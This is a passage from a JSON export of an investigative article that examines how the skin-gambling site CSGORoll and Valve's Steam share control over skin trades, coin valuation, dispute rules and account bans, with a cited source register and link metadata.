          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_1_agent_sean.json",
          "sha256": "5f2d4b9a7cb108b822baa44512182b310d3a7f0cd99f84d2b1afbce938230bdd",
          "bytes": 3717
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_2_agent_larry.pdf",
          "sha256": "c973d8c3db07633f74fc71118665ff460a5abf73147c4bc551eb71c6cd85037f",
          "bytes": 40922
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_2_agent_larry.json",
          "sha256": "07495f236005948e51867949db247d751bed398dd9e378605b09b43fc120d0c1",
          "bytes": 3594
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_3_agent_katherine.pdf",
          "sha256": "f3264cf1989e28755ca1f7dc367374d1deaf3e693aed1f323a0d16c67f50bc60",
          "bytes": 37057
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_3_agent_katherine.json",
          "sha256": "62904dfb7bafbd3135153e8f291915a33e4bfc4a83d2ddfc2699cebfe94b5303",
          "bytes": 3273
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_4_agent_elliott.pdf",
          "sha256": "cc032bb3efb3d67dee678dcb79487f28b1bf7ea1a64bbef9eb9f4dad0091442b",
          "bytes": 59708
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_4_agent_elliott.json",
          "sha256": "1155c8ac6e10b7433649799cae04200edf8b28767213dd28c40deceb5379f2a4",
          "bytes": 9019
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_5_agent_tabitha.pdf",
          "sha256": "ac20b19754199041b38f0ae30bf6b38ceedad0ec743343ba39ecda24e024344e",
          "bytes": 35652
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_5_agent_tabitha.json",
          "sha256": "cc92731ae524ae39f40875c321ac98270c32dd5e776977e5e2884d8b33fce64f",
          "bytes": 3024
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_skins_agent_simon.pdf",
          "sha256": "db9be6f658c5ab165c87c73cf92236a5d412a37893b6bf24765c52687a42f3b3",
          "bytes": 5322049
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_skins_agent_simon.json",
          "sha256": "668b915ebc27b85e73080d8d751871e0be3fad0c554c4a5b31ba5032ac55b77f",
          "bytes": 327669
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_sponsorships_agent_rowan.pdf",
          "sha256": "cf61f389de248b0486cd8a7b45d51db99675e732f59a8222ff7999c68af6e36b",
          "bytes": 877871
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_sponsorships_agent_rowan.json",
          "sha256": "41362d7c6b5b2b04af8ff21d33154b73387dd288f50f726cd69f85758d4991af",
          "bytes": 49449
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/publication-manifest.json",
          "sha256": "8f13629d2f12be04e6b8ec1560f9e03b5eadfffb926b0a95cad9b14826027898",
          "bytes": 34181
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/manifest.json",
          "sha256": "957254d7199093c8da90ee48f24db58b46600e2828cd293ac9ec1f1b7f955f89",
          "bytes": 17653
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "gambling-system",
      "language": "en",
      "title": "The skin moves. The platform decides. — PhishDestroy",
      "author": "Agent Victor",
      "source_url": "https://phishdestroy.io/steam_dossier/gambling-system",
      "source_file": "steam_dossier/gambling-system.html",
      "source_html_sha256": "0c1f00bba1bcfb52c815141e51be84d29ef972d7ca0e8e5d8b9d7184f6229252",
      "exported_at": "2026-10-18T12:03:18.956Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "gambling-system.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/gambling-system.pdf",
        "sha256": "0c3cced6239196519ad91abb3f1cbd8471ae3b344a862e48fae619d003cfe87e",
        "bytes": 391028,
        "pages": 15
      },
      "integrity": {
        "signed_object": "gambling-system.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/gambling-system.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/gambling-system.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nEVIDENCE FILE 02 / THE ECONOMICS OF DEPENDENCE OWNERSHIP, GAMBLING & PLATFORM CONTROL10 OCT 2026 • WORKING PAPER\n\nTHE GAMBLING SYSTEM\n\nThe skin moves. The platform decides.\n\nA direct transfer still runs through someone else’s rules.\n\nINVESTIGATION BY AGENT VICTOR\n\nFollow the complete exchange: the customer supplies the skin, Steam records the transfer and an outside service assigns value and releases its own balance. This file traces those dependencies and the economic effect of account restrictions. The case against Valve’s public defence and enforcement record is developed in the main investigation.\n\nFollow the transaction ↓Valve’s enforcement record ↗\nONE EXCHANGE / THREE AUTHORITIES\nTHE CUSTOMERSupplies the item.\n\nThe participant’s Steam inventory holds the delivery asset.\n\nVALVEPermits the transfer.\n\nSteam records item transfers and applies account restrictions.\n\nTHE OUTSIDE SERVICERecognises the return.\n\nIts ledger sets valuation, balance availability and settlement.\n\nOriginal 11 October edition · complete text →\n01\n\nTHE MECHANISM\n\nFollow the whole transaction.\nINTERACTIVE EXPLAINER\n\nCSGORoll ↗ illustrates how another operator adds its own rules to Valve’s item system. It offers Roll, Case Opening, Case Battles, Dice and Plinko, and announced a G2 esports partnership in May 2023 that included jersey branding and a branded slot machine at the team’s Major booth. The skin exchange supports this commercial service: Steam delivers the item while Roll records the return in its own balance. [E40] [E29]\n\nA skin-for-coins exchange spans two records: the item movement on Steam and the balance recorded by the operator. Walk through the points where the platform’s decisions matter.\n\nFIG. 02 / TWO RECORDS, ONE EXCHANGE\nSTEAM ITEM TRANSFER\nA → B\nUser A\nSkin sender\nSTEAM INVENTORY\nUser B\nSkin receiver\nSTEAM INVENTORY\nCOIN CREDIT\nTRADE STATUS\nverify\nCSGOROLL\nThe platform ledger\nVALUATION · RULES · SETTLEMENT\nThe item route shows delivery.\nIt leaves the settlement record out.\nSkin deliveryPlatform decisions & recordsConceptual reconstruction · no live account data\n\n01 / VALUATION\n\nThe operator supplies the accounting value.\n\nCSGORoll’s FAQ attributes its Coin Calculation to an automated system and manual review. The platform’s unit of account frames the exchange.\n\nE02 · CSGORoll FAQ ↗\nTHE DISTINCTION\n\nThe Steam transfer does not carry the coin credit.\nThe return is recorded in the platform’s ledger.\n\nFrom listing to usable coins: the complete commercial sequence+\nList the skin. The platform records an available item and a coin valuation while delivery remains a later Steam action.\nMatch the request. Another platform user requests the skin against their internal balance. The operator coordinates the pending transaction.\nSend the Steam offer. The sender follows the platform’s instructions and Steam’s confirmation process.\nRecognise delivery. The documented token or manual-verification route supplies the completion decision.\nApply the balance rules. The operator credits or releases coins under its protection and eligibility conditions.\nEnforce failures and reversals. Disputes, cancellations and penalties are handled through the platform’s rules and support process.\n\nThe receiver’s coin debit and the sender’s coin credit are recorded by the operator; Steam records the skin transfer. [E02] [E06] [E07]\n\n02\n\nTHE VALUE PARADOX\n\nInternal currency still has an acquisition cost\n\nThe balance is called virtual. The exchange is priced.\n\nA user gives up something to acquire a balance, then uses that balance to obtain an item. The investigation follows that exchange of value and asks who defines each conversion.\n\nThe user sends a skin through Steam. The return is recorded separately as conditional credit in the platform’s ledger. The platform determines when that balance becomes usable and the rules for using it.\n\nANALYSIS Economic dependence does not require physical custody of the skin.\n\nTHE OPERATOR’S OWN DOCUMENTS03 RECORDS\nA\nMONEY ENTERS\nMoney → Roll Coins\n\nThe terms describe purchases using money or cryptocurrency at operator-displayed rates.\n\nE01 ↗\nB\nVALUE IS ASSIGNED\nA platform calculation\n\nThe FAQ describes automated coin valuation with staff verification.\n\nE02 ↗\nC\nDELIVERY HAS CONDITIONS\nCost-based substitution\n\nThe trading policy permits equivalent-cost substitutions after exceptional price movements.\n\nE03 ↗\nTHE PLATFORM’S UNITS OF ACCOUNT\n\nRoll Coins, CSGR Skins and promotional Roll Chips have different terms. In particular, the terms describe conditional cryptocurrency redemption for eligible Roll Chips. The ordinary coin balance remains usable on the operator’s terms. [E01]\n\nEXHIBIT A / SUBMITTED IMAGE\nOriginal crop · date and origin unverified\n\nTHE EXIT RULE\n\nThe asset can move. The rules follow the user.\n\nThe supplied warning asks the user to acknowledge a permanent ban for real-world trading and penalties for reversals.\n\nSeparately, CSGORoll’s published trading policy restricts off-site cash exchanges and permits account sanctions. The practical power is over participation in its economy. [E03]\n\nInspect the exhibit’s provenance ↗\nJULY 2025 / CONTROL OVER REVERSALS\nThe same transfer can remain subject to a reversal window.\n\nSteam’s Trade Protection feature allows eligible recent CS2 trades to be reversed within seven days and imposes a 30-day trading and Market cooldown on the account initiating the reversal. CSGORoll’s corresponding update ties coin availability, instant-credit tiers and penalties to that protection window. The item transfer and the platform’s spendable balance run on different rules and clocks. [E32] [E07]\n\nTHE VALUE OUTSIDE THE WALLET\n\nThe expensive end of the economy moves outside Steam’s market.\n≈ $1,800Steam Market listing ceiling\n248CS2 categories above it in the dossier’s snapshot\n$10,941Lowest Factory New Dragon Lore listing in that snapshot\n\nThe dossier’s 23 September 2026 comparison across five outside markets records prices above Steam’s own venue limit. Those prices are offered outside Steam; the items still move through Steam accounts. The transfer infrastructure connects a restricted Wallet economy to a wider cash-priced market. A Steam Community Market transaction carries a combined fee of roughly 15% — the game fee plus the Steam fee. [E15] [E13]\n\nInspect the dated listings and comparison ↗\n\nThe outside price does not free the item from Steam. It brings another service into a transfer that still needs Valve’s permission. CSGORoll provides a concrete example: the transaction above follows the skin through Steam and the corresponding return through a separate platform ledger.\n\nNEW / THE COLLECTED INVENTORY186,127 priced listings. $19,283,716.61.Empire, Roll and Fast: the supplied minimum-price valuation, full item explorer and original CSVs.\n03\n\nTHE CONTROL LEDGER\n\nHow the platform determines the trade’s outcome\n\nThe useful test is a decision-by-decision audit. A user’s involvement in sending an item tells us little about who governs the surrounding service.\n\nAllocation of control in the documented CSGORoll exchange\nDecision\tUser’s role\tControlling layer\tRecord\n01Coin valuation\tChoose whether to participate\tPlatform calculation\tE02 ↗\n02Item delivery\tSend or accept a Steam offer\tUsers, within Steam’s rules\tE03 ↗\n03Verification & disputes\tProvide a response or evidence\tOperator workflow & support\tE06 ↗\n04Credit availability\tRely on the settlement outcome\tPlatform release rules\tE07 ↗\n05Trade cancellation\tRequest an explanation\tOperator discretion\tE03 ↗\n06Steam access\tMaintain an eligible account\tValve’s infrastructure & terms\tE09 ↗\n\nA COMPLETION RULE WRITTEN BY THE OPERATOR\n\nTen minutes of silence can become a completed trade.\n\nIn its October 2024 manual workflow, CSGORoll watches for the item to leave the sender’s inventory. The receiver then confirms receipt or disputes it. After ten minutes without a response, the system assumes delivery and completes the trade. A dispute can be routed through the user’s token or the operator’s support team. The same policy sets escalating cooldowns and, for some receiver offences, deductions based on the trade’s value. [E06]\n\nThe seller-side rule is written in the same workflow. If the seller cancels the trade or lets it expire, the workflow records the Canceled or Declined status: the buyer’s coins are unfrozen and returned, and the seller’s account collects penalty points or a temporary P2P ban. The platform publishes the punishment schedule for a failed delivery — while asking Valve to believe the same delivery cannot be policed. [E06]\n\nThis is the platform’s authority in concrete form: its timer, its accepted evidence and its penalty schedule decide the accounting result. The two users do not negotiate those rules with each other.\n\nControl map reconstructed from the policies and dated technical records linked above.\n\nRemoving the inventory bot\ndoes not remove the intermediary.\n\nTHE ARCHITECTURAL FINDING\n\nAfter the 29 March 2018 seven-day trade cooldown, operators moved from inventory bots to P2P; the intermediary stayed and changed shape. [E63] [E64]\n\n04\n\nTHE ECONOMIC EFFECT OF ACCOUNT RESTRICTIONS\n\nWho bears the loss. Who keeps the business.\n\nThe enforcement claim is examined in the main Valve investigation. This record follows the economic result: inventory permissions, outside balances and the service that coordinates the exchange.\n\nFOLLOW THE LOSS / FOLLOW THE BUSINESS\n\nThe casino’s balance sheet is bigger than a Steam inventory.\n\nCSGORoll’s terms provide for purchases with money or cryptocurrency. Its game rules explicitly describe house edges and probability-based payout multipliers. The operator’s economic mechanism combines funding, priced play and an internal ledger; skin delivery connects that mechanism to Steam. [E01] [E40]\n\nWhat an account-level inventory restriction acts on\nLayer\tWhat the restriction can immobilise\tWhat remains outside that account\nThe participant\tThe skins in the restricted inventory and the ability to move their value through a trade.\tThe participant has to seek a remedy from the platform controlling access.\nThe outside operator\tA delivery route or the items on a particular account.\tIts money or cryptocurrency holdings, internal balance records, game rules, pricing system and website.\nValve\tThe user’s permission to participate in Steam transfers.\tControl of the item records, account restrictions and the wider Steam economy.\n\nThat is the asymmetry this investigation identifies: a user can lose the economic use of the skin while the operator retains the machinery that earns from play and Valve retains the machinery that controls the item. A ban count measures the account action. To measure its effect on gambling, follow the operator’s continued access, settlement and business.\n\nPAYMENTS & ENFORCEMENT / NEW EVIDENCE FILE\n10,712,351 “Users”. Over one million accounts locked.\n\nInspect the CSGOFast counter alongside Valve’s account total, the missing classification, real payment routes and the difference between locking an inventory and disabling an operator.\n\nFollow the account-count comparison ↗\nTHE PUBLIC LABEL\nGambling, fraud and theft.\n\nValve combines these categories in one account total. The published number does not show the value of stranded inventories, which account holders lost access, or the outcome of their challenges. These are the human and economic consequences hidden behind the total.\n\nTHE COMMERCIAL RESULT\nCrypto. Ledger. House edge.\n\nAn inventory restriction does not itself seize the outside operator’s cryptocurrency or switch off its game mathematics. The relevant test is whether the commercial service still accepts value and settles balances after the user-facing action.\n\nSCARCITY / A PUBLISHED ECONOMIC JUSTIFICATION\n\nValve invokes value when refusing restoration.\n\nIts restoration policy says duplication can reduce other items’ value. The later Trade Protection system returns originals in eligible CS2 trades. Together they put the choice of remedy under scrutiny: economic value is recognised when restricting restoration, and technical reversal exists within a scope Valve defines. [E27] [E32]\n\nAn inventory restriction reduces the affected holder’s ability to supply items through the blocked route. Valve holds the inventory, price and sales records for the market it operates: it should publish what the million-plus account locks did to item prices, case purchases and the inventories frozen in place. The structural finding is concrete: the issuer controls scarcity rules, monetisation and remedies within the same economy.\n\nWhere Market and Wallet losses fall outside the trade-reversal route ↗\n05\n\nTHE ECONOMIC FINDING\n\nThe labels leave control in place.\n\nValve’s physical-collectible analogy omits the issuer’s continuing authority over the item. The commercial workflows in this investigation show the consequences of that omission.\n\nTHE CONTROL THAT THE LABEL HIDES\n\nA physical collector can retain the object independently of the original seller. A Steam user relies on Valve’s records and transfer permissions. When an outside casino is involved, the user also relies on that operator to recognise delivery and release its own credit. Each layer retains a power the customer needs in order to realise the item’s value.\n\n“P2P” describes the direct delivery of the skin; C2C describes the trade between customers. Neither label removes the central ledger, account restrictions or credential requirements documented here. Presenting the system through the independence of physical ownership conceals precisely the dependency that becomes decisive in a dispute.\n\nRECORDS CSGOROLL MUST DISCLOSE\n01Pricing inputs and manual valuation overrides.\n02The event log linking a Steam trade to a coin credit.\n03Token scopes, retention and server-side access records.\n04Criteria for cancellations, sanctions and appeals.\n06\n\nTHE PUBLIC RECORD\n\nInspect the evidence.\n15 RECORDS\n\nSources cited in this article appear first. Select “All records” to inspect the complete 107-record register shared by the investigation; the dedicated evidence files retain their own detailed registers.\n\nMethodology & source notes\n\nResearch date: 10 October 2026. This chapter reconstructs skin delivery, valuation, verification, coin release and account restrictions from the operator’s dated trading policies and Steam’s published rules. The supplied RWT warning remains available as original exhibit E12 in the shared source register.\n\nThe control tables distinguish the Steam item record from the operator’s ledger. The legal-response analysis is retained in Valve and enforcement; the dated credential and Link Filter records are retained in Steam access.\n\nOriginal research scope · 10 October 2026\n\nResearch date: 10 October 2026. This investigation compares the platform’s public policies and dated technical records with Valve’s public statement, Steam’s agreement, account-restriction rules and the filed New York complaint. The supplied RWT warning is reproduced without alteration.\n\nTechnical changes are presented on a dated timeline. The Link Filter exhibits preserve literal request URLs, timestamps and observed headings and continue links. The JWT exhibit transcribes the supplied decoded fields with identifiers redacted. The interactive diagrams explain the documented control relationships. The legal-response analysis places Valve’s public framing beside the complaint and the documented control of accounts and items.\n\nThe analysis follows the economic mechanism: who supplies the credential, assigns value, verifies delivery, credits the balance, sets transfer conditions, enforces account restrictions and receives fees. Related findings link directly to the Steam Dossier’s underlying records.\n\nCited source records\nE40 · Game promotion rules — play, payout multipliers and house edge\n\nPublisher: CSGORoll\n\nDate: Live rules\n\nSupports: Named game modes and the operator’s published house-edge and payout mechanisms.\n\nScope: The economic rules of play relevant to the distinction between skin delivery and the operator’s continuing business.\n\nhttps://www.csgoroll.com/info/games-promotion-rules/\nE29 · CSGORoll x G2 — collaboration announcement\n\nPublisher: CSGORoll\n\nDate: 2 May 2023\n\nSupports: The announced esports partnership, jersey branding and a CSGORoll-inspired slot machine at the G2 Major booth.\n\nScope: Historical announcement describing the May 2023 collaboration.\n\nhttps://www.csgoroll.com/blog/csgoroll-g2-collaboration/\nE02 · FAQ — coin valuation and skin listings\n\nPublisher: CSGORoll\n\nDate: Live FAQ\n\nSupports: The pricing explanation attributes coin calculations to automated valuation and staff checks. Listing guidance describes skins exchanged for platform coins.\n\nScope: The operator’s published valuation and listing procedure, reviewed 10 October 2026.\n\nhttps://www.csgoroll.com/info/faq/\nE06 · New Escrow, Dispute and Penalty Systems for Trades\n\nPublisher: CSGORoll\n\nDate: 01 Oct 2024\n\nSupports: Platform-defined manual completion after ten minutes, disputes, escalating penalties and inventory-based verification; a token-free route was described for certain skins.\n\nScope: Dated record of the manual verification, dispute and penalty workflow introduced in October 2024.\n\nhttps://www.csgoroll.com/blog/new-trading-system/\nE07 · Trade Protection Update\n\nPublisher: CSGORoll\n\nDate: 16 Jul 2025\n\nSupports: Coin-release timing during the seven-day protection window, tier-dependent instant access and consequences for reversals.\n\nScope: The coin-release mechanism described on 16 July 2025; tiers and limits are adjustable under that policy.\n\nhttps://www.csgoroll.com/blog/trade-protection-update/\nE01 · Terms of Service\n\nPublisher: CSGORoll\n\nDate: Live policy\n\nSupports: Distinctions between Roll Coins, CSGR Skins and promotional Roll Chips; purchase and redemption terms; restrictions on real-world trading.\n\nScope: Terms governing the platform’s separate units, purchase methods and permitted uses.\n\nhttps://www.csgoroll.com/info/terms-of-service/\nE03 · Skin Trading — explanation of terms\n\nPublisher: CSGORoll\n\nDate: Live policy\n\nSupports: Direct user delivery, platform cancellation discretion, restrictions on outside cash exchanges and cost-based substitutions for certain virtual rewards.\n\nScope: Rules governing the platform trade request, cancellation and access to the service.\n\nhttps://www.csgoroll.com/info/skin-trading/\nE12 · RWT acknowledgement and trade-reversal warning\n\nPublisher: Submitted evidence\n\nDate: Undated image\n\nSupports: The visible warning asks the user to acknowledge a permanent ban for real-world trading and penalties for trade reversals.\n\nScope: Original submitted crop. Capture date and original page URL were not supplied. Related trading restrictions are documented in E01 and E03.\n\nhttps://phishdestroy.io/steam_dossier/case_assets/assets/rwt-warning.png\nE32 · Trade Protected Items\n\nPublisher: Valve / Steam Support\n\nDate: Live FAQ · feature introduced July 2025\n\nSupports: Seven-day protection, reversal of eligible trades and the initiating account’s thirty-day trade and market cooldown.\n\nScope: The platform-defined reversal mechanism affecting delivery and outside operators’ balance-release timing.\n\nhttps://help.steampowered.com/en/faqs/view/365F-4BEE-2AE2-7BDD\nE15 · Steam Community Market FAQ — Wallet proceeds and market limits\n\nPublisher: Valve / Steam Support\n\nDate: Live FAQ · reviewed 10 Oct 2026\n\nSupports: Market sale proceeds in Steam Wallet and the approximate US$1,800 listing limit.\n\nScope: Steam’s own market and Wallet mechanics, used in the ownership and outside-price comparison.\n\nhttps://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B\nE13 · The Steam Dossier — rules, routes and accountability\n\nPublisher: PhishDestroy\n\nDate: Related investigation\n\nSupports: The parent investigation supplies the historical registration and consent exhibits, transfer-substitution sequence, route register, ownership and recovery records, and correspondence used by this companion investigation.\n\nScope: The parent PhishDestroy investigation; linked as the wider editorial and infrastructure context.\n\nhttps://phishdestroy.io/steam_dossier/\nE09 · Steam Subscriber Agreement\n\nPublisher: Valve\n\nDate: Live agreement\n\nSupports: Valve’s licence grant, the absence of ownership interest in marketplace subscriptions, and Steam Wallet restrictions.\n\nScope: Relevant clauses: §1.C (personal account), §2.A/2.G (licence and commercial use), §3.C/3.D (Wallet and marketplace), §4.D and §9.C (enforcement).\n\nhttps://store.steampowered.com/agreement/?l=english\nE63 · Adjustments to maps and trade\n\nPublisher: Valve / Counter-Strike\n\nDate: 29 Mar 2018\n\nSupports: Seven-day cooldown for traded CS:GO items and explanation concerning frequent automated turnover.\n\nScope: Valve’s dated response to the ExpressTrade mechanism and the accounts supporting it.\n\nhttps://blog.counter-strike.net/2018/03/20308/\nE64 · FAQ — Steam bots and the transition to P2P\n\nPublisher: CSGOEmpire\n\nDate: Live FAQ · reviewed 10 Oct 2026\n\nSupports: Operator dates its move from Steam bots to P2P to 2018.\n\nScope: The operator’s retrospective account of its own transition to P2P in 2018.\n\nhttps://csgoempire.com/faq\nE27 · Steam Item Restoration Policy\n\nPublisher: Valve / Steam Support\n\nDate: Live policy\n\nSupports: Steam Support’s policy on restoring items removed through trades, market transactions, deletion or gifting.\n\nScope: Account recovery and routine item restoration are distinct processes; the dated Trade Protection feature is recorded in E32.\n\nhttps://help.steampowered.com/en/faqs/view/3B6E-B322-2400-8D24",
        "headings": [
          {
            "level": 1,
            "text": "The skin moves. The platform decides.",
            "anchor": "pd-gambling-system--hero-title",
            "source_url": "https://phishdestroy.io/steam_dossier/gambling-system#hero-title"
          },
          {
            "level": 2,
            "text": "Follow the whole transaction.",
            "anchor": "pd-gambling-system--transaction-title",
            "source_url": "https://phishdestroy.io/steam_dossier/gambling-system#transaction-title"
          },
          {
            "level": 3,
            "text": "The operator supplies the accounting value.",
            "anchor": "pd-gambling-system--step-title",
            "source_url": "https://phishdestroy.io/steam_dossier/gambling-system#step-title"
          },
          {
            "level": 2,
            "text": "Internal currency still has an acquisition cost",
            "anchor": "pd-gambling-system--value-title",
            "source_url": "https://phishdestroy.io/steam_dossier/gambling-system#value-title"
          },
          {
            "level": 3,
            "text": "Money → Roll Coins",
            "anchor": "pd-gambling-system--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/gambling-system#value"
          },
          {
            "level": 3,
            "text": "A platform calculation",
            "anchor": "pd-gambling-system--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/gambling-system#value"
          },
          {
            "level": 3,
            "text": "Cost-based substitution",
            "anchor": "pd-gambling-system--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/gambling-system#value"
          },
          {
            "level": 3,
            "text": "The asset can move. The rules follow the user.",
            "anchor": "pd-gambling-system--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/gambling-system#value"
          },
          {
            "level": 3,
            "text": "The same transfer can remain subject to a reversal window.",
            "anchor": "pd-gambling-system--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/gambling-system#value"
          },
          {
            "level": 3,
            "text": "The expensive end of the economy moves outside Steam’s market.",
            "anchor": "pd-gambling-system--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/gambling-system#price-gap"
          },
          {
            "level": 2,
            "text": "How the platform determines the trade’s outcome",
            "anchor": "pd-gambling-system--control-title",
            "source_url": "https://phishdestroy.io/steam_dossier/gambling-system#control-title"
          },
          {
            "level": 4,
            "text": "Ten minutes of silence can become a completed trade.",
            "anchor": "pd-gambling-system--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/gambling-system#settlement-rules"
          },
          {
            "level": 2,
            "text": "Who bears the loss. Who keeps the business.",
            "anchor": "pd-gambling-system--operator-economics-title",
            "source_url": "https://phishdestroy.io/steam_dossier/gambling-system#operator-economics-title"
          },
          {
            "level": 3,
            "text": "The casino’s balance sheet is bigger than a Steam inventory.",
            "anchor": "pd-gambling-system--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/gambling-system#ban-economics"
          },
          {
            "level": 3,
            "text": "10,712,351 “Users”. Over one million accounts locked.",
            "anchor": "pd-gambling-system--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/gambling-system#money-counter-audit"
          },
          {
            "level": 3,
            "text": "Gambling, fraud and theft.",
            "anchor": "pd-gambling-system--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/gambling-system#operator-economics"
          },
          {
            "level": 3,
            "text": "Crypto. Ledger. House edge.",
            "anchor": "pd-gambling-system--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/gambling-system#operator-economics"
          },
          {
            "level": 4,
            "text": "Valve invokes value when refusing restoration.",
            "anchor": "pd-gambling-system--heading-18",
            "source_url": "https://phishdestroy.io/steam_dossier/gambling-system#scarcity-and-remedy"
          },
          {
            "level": 2,
            "text": "The labels leave control in place.",
            "anchor": "pd-gambling-system--settlement-findings-title",
            "source_url": "https://phishdestroy.io/steam_dossier/gambling-system#settlement-findings-title"
          },
          {
            "level": 2,
            "text": "Inspect the evidence.",
            "anchor": "pd-gambling-system--sources-title",
            "source_url": "https://phishdestroy.io/steam_dossier/gambling-system#sources-title"
          },
          {
            "level": 2,
            "text": "Cited source records",
            "anchor": "pd-gambling-system--cited-sources",
            "source_url": "https://phishdestroy.io/steam_dossier/gambling-system#sources"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/gambling-system"
          },
          {
            "label": "Valve’s enforcement record ↗",
            "url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement.html#enforcement"
          },
          {
            "label": "Original 11 October edition · complete text →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/gambling-system.html"
          },
          {
            "label": "CSGORoll ↗",
            "url": "https://www.csgoroll.com/"
          },
          {
            "label": "[E40]",
            "url": "https://www.csgoroll.com/info/games-promotion-rules/"
          },
          {
            "label": "[E29]",
            "url": "https://www.csgoroll.com/blog/csgoroll-g2-collaboration/"
          },
          {
            "label": "E02 · CSGORoll FAQ ↗",
            "url": "https://www.csgoroll.com/info/faq/"
          },
          {
            "label": "[E02]",
            "url": "https://www.csgoroll.com/info/faq/"
          },
          {
            "label": "[E06]",
            "url": "https://www.csgoroll.com/blog/new-trading-system/"
          },
          {
            "label": "[E07]",
            "url": "https://www.csgoroll.com/blog/trade-protection-update/"
          },
          {
            "label": "E01 ↗",
            "url": "https://www.csgoroll.com/info/terms-of-service/"
          },
          {
            "label": "E02 ↗",
            "url": "https://www.csgoroll.com/info/faq/"
          },
          {
            "label": "E03 ↗",
            "url": "https://www.csgoroll.com/info/skin-trading/"
          },
          {
            "label": "[E01]",
            "url": "https://www.csgoroll.com/info/terms-of-service/"
          },
          {
            "label": "[E03]",
            "url": "https://www.csgoroll.com/info/skin-trading/"
          },
          {
            "label": "Inspect the exhibit’s provenance ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/rwt-warning.png"
          },
          {
            "label": "[E32]",
            "url": "https://help.steampowered.com/en/faqs/view/365F-4BEE-2AE2-7BDD"
          },
          {
            "label": "[E07]",
            "url": "https://www.csgoroll.com/blog/trade-protection-update/"
          },
          {
            "label": "[E15]",
            "url": "https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "[E13]",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "Inspect the dated listings and comparison ↗",
            "url": "https://phishdestroy.io/steam_dossier/#market-gap-section"
          },
          {
            "label": "NEW / THE COLLECTED INVENTORY186,127 priced listings. $19,283,716.61.Empire, Roll and Fast: the supplied minimum-price valuation, full item explorer and original CSVs.",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement.html#market-snapshot"
          },
          {
            "label": "E02 ↗",
            "url": "https://www.csgoroll.com/info/faq/"
          },
          {
            "label": "E03 ↗",
            "url": "https://www.csgoroll.com/info/skin-trading/"
          },
          {
            "label": "E06 ↗",
            "url": "https://www.csgoroll.com/blog/new-trading-system/"
          },
          {
            "label": "E07 ↗",
            "url": "https://www.csgoroll.com/blog/trade-protection-update/"
          },
          {
            "label": "E03 ↗",
            "url": "https://www.csgoroll.com/info/skin-trading/"
          },
          {
            "label": "E09 ↗",
            "url": "https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "[E06]",
            "url": "https://www.csgoroll.com/blog/new-trading-system/"
          },
          {
            "label": "[E06]",
